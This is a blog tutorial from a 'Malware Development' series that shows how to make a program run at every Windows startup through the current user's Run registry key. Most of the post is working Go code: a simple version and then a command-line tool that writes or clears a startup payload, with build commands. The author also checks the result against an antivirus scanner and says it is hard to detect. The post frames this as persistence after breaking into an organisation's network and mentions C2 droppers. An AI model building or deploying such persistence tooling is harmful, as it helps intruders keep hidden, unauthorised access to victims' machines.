Malware Development 7 - Persistence via autorun registry (Golang)
Introduction
Hello my friends!
This post will be a little bit shorter than usual but don’t worry because it will teach you a simple and well known persistence technique.
Explanation
A lot of malwares use this technique because it allows you to execute a command or file on every startup. Breaking into an organisation network is hard and it could take you a long time, that’s why persistence is really important to focus on the rest of the work instead of getting access again. In this case there are some Windows registry keys which allow you to do this, we’ll use the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
one
Here you have another graph done by me which simplifies the explanation
Code
In order to interact with registry keys we have to import the official Golang registry
package
1
2
3
4
5
6
7
8
package main
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
And then we write the rest of the code, this post is much more simple
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func main(){
// Open registry key
key, _, err := registry.CreateKey(
registry.CURRENT_USER, // registry path
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
registry.ALL_ACCESS, // full access
)
if err != nil { // Handle error
log.Fatal(err)
}
defer key.Close() // Close key
// Overwrite value
err = key.SetStringValue("", "C:\\Windows\\System32\\cmd.exe")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Success!")
}
If we execute that, it will overwrite the key value with C:\\Windows\\System32\\cmd.exe
Now let’s restart the system to see if it runs on startup…
Yes! It worked and a cmd appeared
But this is too easy, let’s create a better tool with CLI arguments. We’ll do it with the internal flag
package
In this case the program will have 2 main options, one to write our payload and the other to remove the payloads. New filename is main2.exe
and the final code is this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main
import (
"fmt"
"log"
"flag"
"golang.org/x/sys/windows/registry"
)
func main(){
var payload string
var delete_flag bool
flag.StringVar(&payload, "p", "C:\\Windows\\System32\\cmd.exe", "write payload to execute on startup")
flag.BoolVar(&delete_flag, "d", false, "delete current payload from registry key")
flag.Parse()
fmt.Println("[*] Opening registry key...")
key, _, err := registry.CreateKey(
registry.CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
registry.ALL_ACCESS,
)
if err != nil {
log.Fatal(err)
}
defer key.Close()
if delete_flag == false {
fmt.Println("[*] Writing our payload: " + payload)
} else {
payload = ""
}
err = key.SetStringValue("", payload)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Success!")
}
Now let’s test this out.
Demo
Compile the Golang code:
Linux command
1 GOARCH=amd64 GOOS=windows go build main2.go
Windows command
1 go build main2.go
And here we can see that this “new” features also work.
Let’s see what antiscan.me says about the program.
As it’s a really simple program is hard to detect as malicious.
References
1
2
3
4
https://pkg.go.dev/golang.org/x/sys/windows/registry
https://github.com/golang/go/issues/32748
https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
Conclusion
This is a well known technique which can be used with no malicious intentions to run on startup an app, but it also can be used to execute malware like a C2 dropper.
Source code here